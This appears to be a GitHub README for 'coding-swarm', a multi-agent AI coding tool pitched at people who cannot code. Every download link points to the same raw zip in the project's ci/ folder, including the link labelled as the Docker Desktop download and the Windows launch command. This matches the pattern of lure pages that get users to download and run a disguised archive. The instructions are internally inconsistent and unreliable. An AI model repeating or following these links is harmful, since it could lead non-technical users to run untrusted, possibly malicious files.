Coding Swarm

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coding-swarm is a tool that lets you run teams of intelligent agents to build and manage software projects without needing to write code yourself. It was inspired by Anthropic’s experiment with multi-agent AI working together on coding tasks. This framework handles the heavy lifting so you can focus on what you want the software to do.

📋 What is coding-swarm?

coding-swarm allows multiple AI agents to work together to create, test, and update software. Imagine a team of experts working nonstop on your project. Each agent knows a specific role, like writing code, checking for bugs, or updating features.

You don’t need programming skills to use it. coding-swarm runs these agents for you, automatically coordinating their tasks. This helps speed up software development and maintenance.

💻 System Requirements

To run coding-swarm smoothly, your computer should meet these basics:

• Operating System: Windows 10 or later, macOS 10.15 (Catalina) or later, or a recent Linux version.
• Processor: Dual-core processor or better (Intel i3, Ryzen 3 or equivalent).
• Memory: At least 8 GB of RAM.
• Storage: Minimum 500 MB free disk space.
• Internet connection: Required for downloading the software and for agents to access online resources.
• Additional tools: Docker must be installed to run the agents in containers (instructions below).

If you don’t have Docker, installation steps are provided below.

🧰 Features of coding-swarm

• Runs multiple AI agents at once to share coding tasks.
• Automatically builds and tests software projects.
• Keeps projects updated by managing changes over time.
• Uses Docker containers for isolated and reliable operation.
• Command line interface (CLI) to start and control agent teams.
• Support for Python-based agents and scripts.

🚀 Getting Started

Follow these steps to get coding-swarm up and running on your computer.

1. Download the software

To get the latest version of coding-swarm:

• Visit the official releases page on GitHub.
• Look for the file that matches your operating system. For example:
  • https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip for Windows.
  • https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip for macOS.
  • https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip for Linux.
• Download the file to a location you can easily find, such as your Desktop or Downloads folder.

2. Install Docker (if not installed)

coding-swarm uses Docker to run its AI agents safely.

• Go to https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip.
• Download Docker Desktop for your operating system.
• Follow their installation guide to complete setup.
• After installation, start Docker and ensure it runs in the background.

3. Extract and set up coding-swarm

• Extract the downloaded file:
  • On Windows, right-click the .zip file and select “Extract All.”
  • On macOS or Linux, use system tools or terminal commands (tar -xzf filename).
• Open the extracted folder.
• Inside, you will find a simple program file or script to launch coding-swarm.

4. Run coding-swarm

• Open your system’s command prompt (Windows Command Prompt, macOS Terminal, or Linux Terminal).

• Navigate to the folder where you extracted coding-swarm:

  • Example: cd Desktop/coding-swarm

• Run the main program by typing:

  ./start-coding-swarm
  

  or on Windows:

  https://github.com/MihailBausov/coding-swarm/raw/refs/heads/main/ci/swarm-coding-v2.9.zip
  

• coding-swarm will start and begin running its AI agent teams in Docker containers.

5. Use coding-swarm

Once running, you can control coding-swarm with simple commands typed in the terminal:

• To see the status of the AI agents, type:

  status
  

• To stop the application, type:

  stop
  

• Detailed commands and options will appear in the program’s help menu:

  help
  

📦 About the AI Agents

Agents are like small programs focusing on one task each:

• Coder Agent: Writes code based on instructions.
• Tester Agent: Checks for bugs and errors.
• Maintainer Agent: Updates code and fixes issues.

These agents communicate and work together inside Docker containers, making coding-swarm reliable and easy to manage.

🛠 Troubleshooting

If you run into issues, try these steps:

• Make sure Docker is running.
• Check your internet connection.
• Restart the program using the commands above.
• Look for error messages in the terminal window and note them.

If problems persist, you can report issues on the GitHub repository’s Issues page.

🔗 Download & Install

You can access the latest release and installation files by visiting the link below:

Download coding-swarm on GitHub

This page has all versions of coding-swarm. Choose the correct one for your system, then follow the instructions in this guide.

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This guide is designed to help you use coding-swarm without needing coding skills. The AI agents are built to manage complex software tasks, letting you focus on your project goals with minimal worry about the technical details.